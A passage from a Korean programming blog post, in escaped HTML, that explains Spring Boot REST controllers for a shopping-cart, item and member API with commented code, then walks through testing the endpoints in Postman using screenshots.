        cartItem.setQuantity(quantity);  // 화면에서 넘어온 수량 설정
        
        // 설정이 완료된 장바구니 상품(CartItem)을 DB에 저장하고 그 결과 반환
        return cartItemRepository.save(cartItem);
    }

    // 전체 조회
    public List&amp;lt;CartItem&amp;gt; getAll() {
        return cartItemRepository.findAll();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;CartController&lt;/h4&gt;
&lt;pre id=&quot;code_1778948306827&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@RestController  // 이 클래스가 REST API의 요청을 받아 처리하고 결과를 JSON 형태로 반환하는 컨트롤러임을 스프링에 등록
@RequiredArgsConstructor  // final이 붙은 cartService를 자동으로 주입해주는 생성자를 만듦
@RequestMapping(&quot;/carts&quot;)  // 이 컨트롤러 내부의 모든 메서드는 URL경로가 &quot;/carts&quot;로 시작하도록 기본 주소 설정
public class CartController {

    private final CartService cartService;  // 장바구니 관련 비즈니스 로직을 호출하기 위한 서비스

    @PostMapping(&quot;/{memberId}&quot;)  // HTTP POST 요청을 처리하며, 전체 주소는 &quot;/carts/{memberId}&quot;가 됨
    public Cart create(@PathVariable Long memberId) {
        // @PathVariable은 URL 경로에 들어있는 값 {memberId}을 파라미터 변수(memberId)에 그대로 매핑해주는 역할
        
        // 서비스 레이어의 createCart 메서드를 호출하여 해당 회워의 장바구니를 생성하고 결과 반환
        return cartService.createCart(memberId);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;ItemController&lt;/h4&gt;
&lt;pre id=&quot;code_1778948333324&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;package com.example.demo.controller;

import com.example.demo.entity.Item;
import com.example.demo.service.ItemService;
import lombok.RequiredArgsConstructor;
import org.springframework.web.bind.annotation.*;

import java.util.List;

@RestController
@RequiredArgsConstructor
@RequestMapping(&quot;/items&quot;)  // 이 컨트롤러 내부의 모든 메서드는 URL 경로가 &quot;/items&quot;로 시작하도록 기본 주소 설정

public class ItemController {

    private final ItemService itemService;  // 상품 비즈니스 로직을 호출하기 위한 서비스 객체

    // CREATE
    @PostMapping  // HTTP POST요청을 처리하며, 주소는 &quot;/items&quot;가 됨. 주로 데이터를 생성(등록)할 때 사용
    public Item create(@RequestBody Item item) {
       // @RequestBody는 웹 브라우저나 클라이언트가 보낸 JSON 형태의 데이터를 자바 객체(Item)로 변환하여 받아옴
        return itemService.save(item);
    }

    // READ ALL
    @GetMapping // HTTP GET요청을 처리하며, 주소는 &quot;/items&quot;가 됨. 주로 데이터를 조회할 때 사용
    public List&amp;lt;Item&amp;gt; getAll() {
        return itemService.findAll();
    }

    // READ ONE
    @GetMapping(&quot;/{id}&quot;) // HTTP GET요청을 처리하며, 주소는 &quot;/items/{id}&quot;
    public Item getOne(@PathVariable Long id) {
      // @PathVariable은 URL 경로에 포함된 {id} 값을 파라미터 변수(id)에 그대로 매핑
        return itemService.findById(id);
    }

    // UPDATE
    @PutMapping(&quot;/{id}&quot;) // HTTP PUT요청을 처리하며, 주소는 &quot;/items/{id}&quot;. 기존 데이터 전체 수정시 사용
    public Item update(@PathVariable Long id,
                       @RequestBody Item item) {
                      
           // URL에서 가져온 id와 Request Body로 넘어온 수정할 JSON데이터('item 객체')를 동시에 받음
        return itemService.update(id, item);
    }

    // DELETE
    @DeleteMapping(&quot;/{id}&quot;)  // HTTP DELETE 요청을 처리하며, 주소는 &quot;/items/{id}&quot;. 데이터 삭제시 사용
    public String delete(@PathVariable Long id) {  // URL에서 삭제할 상품의 고유 id 가져옴
        itemService.delete(id);
        return &quot;삭제 완료&quot;;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;CartItemController&lt;/h4&gt;
&lt;pre id=&quot;code_1778948368545&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@RestController // 이 클래스가 REST API의 요청을 받아 처리하고 결과를 JSON 형태로 반환하는 컨트롤러임을 스프링에 등록
@RequiredArgsConstructor
@RequestMapping(&quot;/cart-items&quot;)  // 이 컨트롤러 내부의 모든 메서드는 URL 경로가 /cart-items로 시작
public class CartItemController {

    private final CartItemService cartItemService;

    // 상품 추가
    @PostMapping  //HTTP POST요청 처리. 주소는 &quot;/cart-items&quot;가 됨. 주로 데이터를 생성(등록)할 때 사용
    public CartItem addItem(
            @RequestParam Long cartId,  // URL 쿼리 파라미터나 폼 데이터에서 &quot;cartId&quot;라는 이름의 값 받아옴
            @RequestParam Long itemId,  // URL 쿼리 파라미터나 폼 데이터에서 &quot;itemId&quot;라는 이름의 값 받아옴
            @RequestParam int quantity  // URL 쿼리 파라미터나 폼 데이터에서 &quot;quantity&quot;라는 이름의 값 받아옴
    ) {
        return cartItemService.addItem(cartId, itemId, quantity);
    }

    // 조회
    @GetMapping //HTTP GET요청 처리. 주소는 &quot;/cart-items&quot;가 됨. 주로 데이터를 조회할 때 사용
    public List&amp;lt;CartItem&amp;gt; getAll() {
        return cartItemService.getAll();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;포스트맨 실습&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Cart&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;- 장바구니 생성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 5번회원의 장바구니 id는 3번으로 매핑&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성이므로 POST타입&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;서버에 넘겨줄 내용이 없으므로 Body태그 필요 없음&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CartController&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;@PostMapping과 매핑&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.02.47.png&quot; data-origin-width=&quot;1036&quot; data-origin-height=&quot;1150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dwcihY/dJMcahRYwAW/wZjM3AyHaKRBLXGtEIKZ31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dwcihY/dJMcahRYwAW/wZjM3AyHaKRBLXGtEIKZ31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dwcihY/dJMcahRYwAW/wZjM3AyHaKRBLXGtEIKZ31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdwcihY%2FdJMcahRYwAW%2FwZjM3AyHaKRBLXGtEIKZ31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;405&quot; height=&quot;450&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.02.47.png&quot; data-origin-width=&quot;1036&quot; data-origin-height=&quot;1150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;- 장바구니 담기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 새 장바구니 내역을 만드는 것이므로 POST&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 3번 장바구니에 2번 아이템을 1개 담기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cart id위에 새로운 id는 CartItem의 PK (여기서는 2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부에 포함된 cart id 3과 item id 2는 각각 장바구니 테이블과 상품 테이블을 연결해주는 외래 키(FK)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;URL은 CartController의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;@RequestParam&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;으로 주입&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.25.34.png&quot; data-origin-width=&quot;1016&quot; data-origin-height=&quot;1416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPceFT/dJMcacXr9d9/mL8qYgOYz0JuAMxHZkmYiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPceFT/dJMcacXr9d9/mL8qYgOYz0JuAMxHZkmYiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPceFT/dJMcacXr9d9/mL8qYgOYz0JuAMxHZkmYiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPceFT%2FdJMcacXr9d9%2FmL8qYgOYz0JuAMxHZkmYiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;411&quot; height=&quot;573&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.25.34.png&quot; data-origin-width=&quot;1016&quot; data-origin-height=&quot;1416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;- 장바구니 조회&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 조회이므로 GET&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 회원의 장바구니 내역이 전부 조회&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 김바덕의 장바구니에는 키보드가 1개, 추바덕의 장바구니에는 마우스가 1개 담겨있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부에 포함된 cart id 3과 item id 2는 각각 장바구니 테이블과 상품 테이블을 연결해주는 외래 키(FK)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.32.33.png&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;1718&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbFTWH/dJMcaiJ57pR/yEnB2j3jvS9kwQDyvf8prk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbFTWH/dJMcaiJ57pR/yEnB2j3jvS9kwQDyvf8prk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbFTWH/dJMcaiJ57pR/yEnB2j3jvS9kwQDyvf8prk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbFTWH%2FdJMcaiJ57pR%2FyEnB2j3jvS9kwQDyvf8prk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;487&quot; height=&quot;785&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.32.33.png&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;1718&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;item&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;- &amp;nbsp;아이템 생성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 생성이므로 POST&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Body태그에 생성할 아이템의 정보 적음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;상품 이름, 가격, 재고 등을 적어 보내면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;@RequestBody&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;가 이를 객체로 받아들임&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.10.54.png&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;1056&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OmknU/dJMcabRJVBD/nzU6iPgb5kUuh43WUEsnw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OmknU/dJMcabRJVBD/nzU6iPgb5kUuh43WUEsnw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OmknU/dJMcabRJVBD/nzU6iPgb5kUuh43WUEsnw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOmknU%2FdJMcabRJVBD%2FnzU6iPgb5kUuh43WUEsnw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;368&quot; height=&quot;432&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.10.54.png&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;1056&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;- 수정&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 데이터 수정이므로 PUT(이전데이터 덮어쓰기)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Body태그에 덮어쓸 내용 적음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ItemController&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;@PutMapping(&quot;/{itemId}&quot;)&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;메서드와 매핑&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.14.12.png&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;1038&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKUoa3/dJMcaiQSMbz/YKzjZ5gCfDzk0FC7kLWNcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKUoa3/dJMcaiQSMbz/YKzjZ5gCfDzk0FC7kLWNcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKUoa3/dJMcaiQSMbz/YKzjZ5gCfDzk0FC7kLWNcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKUoa3%2FdJMcaiQSMbz%2FYKzjZ5gCfDzk0FC7kLWNcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;367&quot; height=&quot;418&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.14.12.png&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;1038&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;- 전체 조회&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 현재 모든 아이템 조회됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조회이므로 GET&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Body태그 필요없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ItemController&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;@GetMapping&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;메서드와 매핑&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.19.09.png&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;1252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUjPbE/dJMcahxIvLu/K2UXngXKKPiP0nQTaBXv51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUjPbE/dJMcahxIvLu/K2UXngXKKPiP0nQTaBXv51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUjPbE/dJMcahxIvLu/K2UXngXKKPiP0nQTaBXv51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUjPbE%2FdJMcahxIvLu%2FK2UXngXKKPiP0nQTaBXv51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;408&quot; height=&quot;563&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.19.09.png&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;1252&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;- 삭제&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: URL 끝에 /3 등을 붙여 아이템 지움&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제이므로 DELETE&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Body태그 필요없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ItemController&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;@DeleteMapping(&quot;/{itemId}&quot;)&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;메서드가 요청을 받음&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.20.44.png&quot; data-origin-width=&quot;880&quot; data-origin-height=&quot;878&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzrwcc/dJMcah5zm3U/r6XrDDncz82n7yTCWobLCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzrwcc/dJMcah5zm3U/r6XrDDncz82n7yTCWobLCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzrwcc/dJMcah5zm3U/r6XrDDncz82n7yTCWobLCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbzrwcc%2FdJMcah5zm3U%2Fr6XrDDncz82n7yTCWobLCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;359&quot; height=&quot;358&quot; data-filename=&quot;스크린샷 2026-05-19 오전 10.20.44.png&quot; data-origin-width=&quot;880&quot; data-origin-height=&quot;878&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;member&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;- 단건 조회&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: URL 맨 끝에 /1 등을 붙여 한명의 회원을 조회할 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 조회는 GET&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Body태그 필요없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@GetMapping 메서드와 매핑&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 9.55.48.png&quot; data-origin-width=&quot;1474&quot; data-origin-height=&quot;1178&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kOtlT/dJMcafNs1xx/gxhkx3dlzuX7kdR9XwOLX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kOtlT/dJMcafNs1xx/gxhkx3dlzuX7kdR9XwOLX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kOtlT/dJMcafNs1xx/gxhkx3dlzuX7kdR9XwOLX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkOtlT%2FdJMcafNs1xx%2Fgxhkx3dlzuX7kdR9XwOLX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;449&quot; height=&quot;359&quot; data-filename=&quot;스크린샷 2026-05-19 오전 9.55.48.png&quot; data-origin-width=&quot;1474&quot; data-origin-height=&quot;1178&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;- 삭제&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 4번 회원 삭제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제이므로 DELETE&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Body태그 필요없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MemberController&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;내부의 삭제 메서드가 이를 수신&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-19 오전 9.50.16.png&quot; data-origin-width=&quot;1462&quot; data-origin-height=&quot;880&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6Scur/dJMcajoFc45/tQDza5Mm5GRKfVkjimpib0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6Scur/dJMcajoFc45/tQDza5Mm5GRKfVkjimpib0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6Scur/dJMcajoFc45/tQDza5Mm5GRKfVkjimpib0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6Scur%2FdJMcajoFc45%2FtQDza5Mm5GRKfVkjimpib0%2Fimg.png&quot; onerror=&quot;this.onerror=null; 